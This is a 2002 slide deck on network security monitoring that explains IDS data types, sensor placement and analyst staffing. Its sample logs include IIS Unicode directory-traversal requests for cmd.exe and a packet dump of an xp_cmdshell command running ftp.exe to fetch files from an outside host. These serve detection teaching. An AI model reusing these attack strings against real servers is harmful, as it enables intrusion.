Network Security Monitoring SearchSecurity.com webcast: 4 Dec 02

1
Network Security MonitoringSearchSecurity.com
webcast 4 Dec 02

• Richard Bejtlich, Foundstone
• richard.bejtlich_at_foundstone.com
• Robert Visscher, Ball Corporation
• rvissche_at_ball.com

2
Detection Overview

• This module will address
• What is detection?
• Why perform it?
• How is it accomplished?
• When and where should detection occur?
• Who performs it?
• Recommendations

3
Detection What is detection?

• Detection means identifying intrusions
• Detection is best implemented through network
  security monitoring (NSM)
• NSM is the collection, analysis, and escalation
  of indications and warnings (IW) to detect and
  respond to intrusions
• NSM is an industry best practice not
  implemented by most enterprises
• This material is seldom taught elsewhere

4
Detection What is detection?

• Military indications and warning (IW) examples
• Training/exercise
• Construction
• Force deployment
• Vehicle convoy formation
• Ordinance stockpiling
• Communications
• Movement of leadership
• Foreign assistance
• Imagery http//globalsecurity.org

5
Detection What is detection?

• NSM relies upon
• Products, because human brains have trouble
  interpreting raw network traffic and memory
  registers
• People, because machines cannot assess intent and
  computers lack real-world situational awareness
• Processes, because unvalidated and unactionable
  IW is worthless
• IDS is only a product NSM is an operation
  incorporating products, people, and processes

6
Detection Why perform it?

• You should want to detect and respond to an
  intrusion to mitigate damage to your
• Finances
• Intellectual property
• Reputation
• Computing resources
• Individual liberty if you go to jail for
  breaking the law!

7
Detection Why perform it?

• Detection always occurs!
• A customer reports being charged for goods he
  never ordered from your e-commerce business
• A competitor notifies you that your computers are
  launching attacks against his network
• A user complains her computer is slow and odd
  background processes are running
• These real-world examples show someone else
  detecting intrusions before you do!
• Detecting an intrusion using in-house or
  outsourced resources is more proactive than
  waiting for bad news from customers, competitors,
  or users

8
Detection Why perform it?

• Beyond identifying intrusions, NSM
• Provides digital forensic data to support
  post-compromise law enforcement actions
• Accelerates response and recovery actions
• Identifies host and network misconfigurations
• Improves management and customer understanding of
  the Internet's inherent hostility
• Validates acceptable use policies and access
  control lists
• May be required by law or best industry practices
  now or in the near future

9
Detection How is it accomplished?

• If NSM is the collection, analysis, and
  escalation of indications and warnings (IW) to
  detect and respond to intrusions, then

Products collect and generate IW
People analyze and validate IW
Processes escalate validated IW and shape
response actions
10
Detection How is it accomplished?

• Detection starts with interpreting activities
• All network traffic and computer processes fall
  in one of three categories
• Normal - Web surfing, FTP sessions, sending email
• Abnormal but not malicious - Odd protocol
  manipulation by peer-to-peer clients, load
  balancing by Web servers, proprietary
  applications
• Malicious - Recon, intrusions, worms, viruses
• Properly classifying activities is difficult, but
  the result is identifying intrusions

11
Detection How is it accomplished?

• To help assess activity, products collect and
  generate IW
• Two intrusion detection system (IDS) types
• Network-based IDS (NIDS) monitors network traffic
  for signs of misuse
• Host-based IDS (HIDS) monitors computer processes
  for signs of misuse
• So-called "hybrid" systems may do both, but for a
  single host

12
Detection How is it accomplished?

• Ideally, products generate three types of IW
  data
• Event a summary of an observed activity an
  alert
• Session a summary of conversations seen by NIDS
• Full Content complete collection of information
  related to one or more activities
• In practice, most only generate event data
• Vendors (and many customers) dont appreciate
  session data
• Full content data is expensive to collect and
  store

13
Detection How is it accomplished?

• Is collecting this data legal? We are not
  lawyers, but...
• 18 U.S.C. 2511(2)(a)(i) offers the Provider
  Protection Exception
• Interception is allowed while engaged in any
  activity which is a necessary incident to the
  rendition of service or the protection of the
  rights or property of the provider of the
  service
• Ref http//www.cybercrime.gov/usc2511.htm
• Consent Exception, implemented through banners,
  gives more explicit legal cover for full
  collection

14
Detection How is it accomplished?

• Sample NIDS event data Snort
• alert on a Microsoft SQL Server
• attack using stored procedures
• 16873 MS-SQL xp_cmdshell - program
  execution
• Classification Attempted User Privilege Gain
  Priority 1
• 04/02-124658.109453 172.16.86.363544 -gt
  192.168.46.1111433
• TCP TTL107 TOS0x0 ID18073 IpLen20 DgmLen182
  DF
• AP Seq 0x5D4A696 Ack 0x7ACAAC20 Win
  0x3F10 TcpLen 20

15
Detection How is it accomplished?

• Sample HIDS event data Microsoft IIS web server
  logs on Unicode directory traversal
• Software Microsoft Internet Information
  Services 5.1
• Version 1.0
• Date 2002-09-19 203438
• Fields time c-ip cs-method cs-uri-stem
  sc-status
• 203616 127.0.0.1 GET /msadc/..5c../..5c../..5
  c../winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c..5c..5c..5c
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c../..5c../..5
  c../winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c..5c..5c..5c
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c../..5c../..5
  c../winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..2c..2c..2c..2c
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..2f..2f..2f..2f
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c..5c..5c..5c
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c..5c..5c..5c
  winnt/system32/cmd.exe 404
• 203616 127.0.0.1 GET /msadc/..5c..5cwinnt/syst
  em32/cmd.exe 404

16
Detection How is it accomplished?

• Comments on event data
• All vendors try to reduce false positive event
  data, but the term is a misnomer
• There is no such thing as a false positive!
• All events are IW and represent computing
  activities
• Every single packet on a network, and process on
  a computer, tells the intrusion detector
  something about the state of those resources
• Blinking red lights cannot confirm intrusions
  because machines cannot assess intent and
  computers lack real-world situational awareness

17
Detection How is it accomplished?

• Sample session data proprietary code summarizing
  multiple TCP connections
• Time Source IP Port Destination
  Port SP SB DP DB
• -----------------------------------------------
  --------------------------------
• 124657 172.16.86.36 3544 192.168.46.111
  1433 9 654 8 6648
• 124658 192.168.46.111 2267 172.173.86.248
  21 24 1144 22 3433
• 124700 172.173.86.248 20 192.168.46.111
  2268 7 2047 4 164
• 124701 172.173.86.248 20 192.168.46.111
  2269 365 511444 242 9684
• 124711 172.173.86.248 20 192.168.46.111
  2271 17 18608 11 444
• 124713 172.16.86.36 3550 192.168.46.111
  1433 5 438 4 611
• NOTE SP is Source Packets SB is Source Bytes
  DP is Dest Packets DB is Dest Bytes

18
Detection How is it accomplished?

• Comments on session data
• Session data is based on military
• signals intelligence collection practices
• Session data can be generated even when
  encryption foils collection of event and full
  content data
• It is always useful to know to whom and for how
  long your systems communicate
• Generating session data is much less intrusive
  than full content collection
• Hardly any vendors produce session data
• Generally a NIDS (not HIDS) concept

19
Detection How is it accomplished?

• Sample full content data tethereal showing
  packet contents of Microsoft SQL Server attack
  using stored procedures
• 0000 01 01 00 8e 00 00 01 00 45 00 58 00 45 00
  43 00 ........E.X.E.C.
• 0010 20 00 6d 00 61 00 73 00 74 00 65 00 72 00
  2e 00 .m.a.s.t.e.r...
• 0020 2e 00 78 00 70 00 5f 00 63 00 6d 00 64 00
  73 00 ..x.p._.c.m.d.s.
• 0030 68 00 65 00 6c 00 6c 00 20 00 22 00 66 00
  74 00 h.e.l.l. ..f.t.
• 0040 70 00 2e 00 65 00 78 00 65 00 20 00 2d 00
  76 00 p...e.x.e. .-.v.
• 0050 20 00 2d 00 6e 00 20 00 2d 00 73 00 3a 00
  5c 00 .-.n. .-.s..\.
• 0060 66 00 74 00 70 00 2e 00 74 00 78 00 74 00
  20 00 f.t.p...t.x.t. .
• 0070 31 00 37 00 32 00 2e 00 31 00 37 00 33 00
  2e 00 1.7.2...1.7.3...
• 0080 38 00 36 00 2e 00 32 00 34 00 38 00 22 00
  8.6...2.4.8..
• Note tethereal is the text-based version of
  ethereal

20
Detection How is it accomplished?

• Comments on full content data
• Full content shows exactly what happens on
  systems, as long as the IDS collects both sides
  of the conversation
• Ease of interpretation of NIDS full content data
  varies
• Trivial for text-based protocols like telnet
• Moderately difficult for inter-process and
  file-sharing communications (NFS, RPC)
• Very difficult for graphical protocols (X)
• HIDS full content data is analogous to contents
  of /proc on UNIX systems, but rarely collected

21
Detection How is it accomplished?

• Network-based intrusion detection pros
• Highest return on investment, as one sensor can
  potentially monitor dozens to hundreds of targets
• Recognize attacks upon infrastructure and
  provides a larger field-of-view
• Network-based intrusion detection cons
• Encryption may degrade network visibility
• IDS and target system may handle packets
  differently (http//online.securityfocus.com/data/
  library/ids.ps describes insertion and
  evasion attacks)

22
Detection How is it accomplished?

• Example NIDS Snort (snort.org)
• Key benefits
• Signatures can be rapidly updated by admins
• Provides supporting event and full content data
  needed to verify the significance of alerts
• Large user community tracks intrusions world-wide
• Major weakness
• Snort is a detection engine, not an enterprise
  suite
• Proper use may require administrator knowledge
  exceeding that needed for commercial products

23
Detection How is it accomplished?

• Host-based intrusion detection pros
• Offers greater ability to understand processes on
  hosts, including success or failure of attacks
• A single event log can effectively replace
  interpretation of hundreds of network packets
• Host-based intrusion detection cons
• Difficult to manage more than a few systems
• Host owners blame HIDS for problems

24
Detection How is it accomplished?

• Example HIDS
• Tripwire (file integrity verification)
• System security event logs
• Application event logs
• Dedicated host-based agents by commercial
  vendors
• All help, but...
• Customers and admins for box platform with HIDS
  tend to blame HIDS agents for any problems
• Some HIDS are little more than event log readers

25
Detection How is it accomplished?

• Remote event logging is highly recommended
• After enabling logging on your devices, forward
  copies of event log entries to a secure log host
• Configure logger to accept messages from selected
  machines only, and dedicate the log host to
  logging
• Syslog can be used, and syslog generators exist
  for Windows architectures
• http//ntsyslog.sourceforge.net/
• http//www.eventreporter.com/en/
• http//www.kiwisyslog.com/
• http//www.winsyslog.com/en/

26
Detection How is it accomplished?

• The cardinal rule of all intrusion detection
• You must have enough supporting data to verify
  the impact of IW. If not, why bother
  monitoring?
• Every time you must physically inspect a target
  to verify the impact of an alert, response time,
  cost, and effectiveness are an order of magnitude
  worse

Confused? Call Foundstones IRT!
27
Detection How is it accomplished?

• Questions to ask
• What could cause the activity in question?
• What could the IDS have missed?
• How does reality differ from textbooks?
• Would the community benefit from sharing?
• SecurityFocus Incidents list (http//online.secur
  ityfocus.com/archive/75) offers forums for
  exchanging IDS "sightings"

The Bible... for the 90s only?
28
Detection - When and where should detection occur?

• Network-based intrusion detection tools
• Router logs
• Firewall logs
• Dedicated sensors (appliances or PCs)
• All should be used, just as defense in depth
  requires routers to screen some traffic and
  firewalls to screen other traffic

29
Detection - When and where should detection occur?

• Where should one place the NIDS?
• Some say outside the firewall is attack detection
• Some say inside the firewall is intrusion
  detection
• Some say both inside and outside is needed
• In an environment where a single office or
  individual is responsible for all security, and
  owns the routers, firewalls, and NIDS, inside the
  firewall is acceptable
• Otherwise, outside is preferred

30
Detection - When and where should detection occur?

• Here, a NIDS interface sits before the router and
  firewall and another in the DMZ
• HIDS sits on critical servers
• Who watches the wireless segment?

31
Detection Who performs it?

• Timeliness of detection is the issue
• How quickly do you want to be able to contain and
  recovery from intrusion?
• How much abuse are you willing to sustain before
  your reputation and assets are destroyed?
• Subtle, expert compromise is difficult to detect
• The longer one waits the greater the damage

32
Detection Who performs it?

• Four options
• Aperiodic in-house monitoring
• Periodic in-house monitoring
• Continuous (24X7) in-house monitoring
• Continuous (24X7) outsourced monitoring
• Your choice is usually based on
• Budgetary constraints
• Appreciation of threats
• Quality and quantity of technical staff

33
Detection Who performs it?

• Aperiodic in-house monitoring react when
  notified by informal means
• Advantages
• Low cost system/network admins responsible
• Ignorance is bliss
• Disadvantages
• Most likely to be victimized and remain so
• Response requires forensic consulting on victim
  hosts
• High probability of long-term, systematic
  compromise

34
Detection Who performs it?

• Periodic in-house monitoring regularly consult
  logs and IDS (if any)
• Advantages
• Moderate cost 1 security admins responsible
• May strike best balance for small enterprises
• Disadvantages
• Friday PM intrusions not noticed until Monday AM
• Data may not be of sufficient fidelity to aid
  response
• Narrow field of view causes network tunnel
  vision

35
Detection Who performs it?

• Continuous (24X7) in-house monitoring you
  perform NSM or best approximation
• Advantages
• Fastest response time mitigates impact of
  intrusion
• Highest fidelity data reduces need for host
  forensics
• Proactive NSM can prevent some intrusions
• Disadvantages
• Requires dedicated equipment and trained
  personnel
• High cost usually only justified at global
  enterprises

36
Detection Who performs it?

• Continuous (24X7) outsourced monitoring vendor
  performs NSM or best approximation
• Advantages
• Like in-house, plus low cost from economies of
  scale
• Wider field of view and higher analyst expertise
• Disadvantages
• Hardly any vendors understand NSM principles
  most perform device management
• Most vendors have poor validation capabilities
  and rely on collecting syslog messages from
  devices

37
Detection Who performs it?

• Free global IW info Internet Storm Center
• Grew from SANS Y2K Global Incidents Analysis
  Center (GIAC the original meaning of the
  acronym)
• Useful for observing trends and corroborating
  IW collected locally
• http//isc.incidents.org

38
Detection Who performs it?

• Free global IW info CERT/CC Current Scanning
  Activity
• Tends to be more static than ISC
• Convenient links to CERT/CC advisories
• http//www.cert.org/ current/scanning.html

39
Detection Who performs it?

• Free global IW info defacement mirrors
• Mirrors sharing OS and service info for victims
  gives clues to hacks-du-jour
• nmap feature shows ports open on victims
• defaced.alldas.org

40
Detection - Recommendations

• Product issues
• Coordinate product requirements with analysts
  (the people) and decision makers (the processes)
• Balance the products capability to
• Update rules frequency, reliability,
  timeliness
• Manage multiple platforms
• Detection strategy signature- or
  anomaly-based?
• Scale beyond initial deployment plans
• IDS wire monitoring speed is not the primary
  issue!
• Choose sensors to collect the quantity and
  quality of data to needed to assess the impact of
  an event

41
Detection - Recommendations

• People issues
• Training and reading are absolutely essential
• Bejtlichs reading lists http//taosecurity.com/
  books.html
• Analysts typically deployed in tiered
  infrastructure
• Tier one entry level to 12/18 months
  experience 2/shift
• Tier two 12/18 months to 3 years experience
  1/shift
• Tier three 3 years experience 1/operation
• Entry level analysts (tier one) screen alerts and
  forward what they cant handle to higher tiers
• NSM operation only as good as the tier three on
  duty

42
Detection - Conclusion

• Process issues
• Analysts must take responsibility for the events
  they interpret
• Accountability allows managers to separate will
  problems from skill problems
• Escalation procedures require knowing who to
  contact when an intrusion is found and how to do
  it
• Analysts must have clear guidance on how to
  proceed when intrusions are discovered
• Pursue and monitor
• Remediate and recover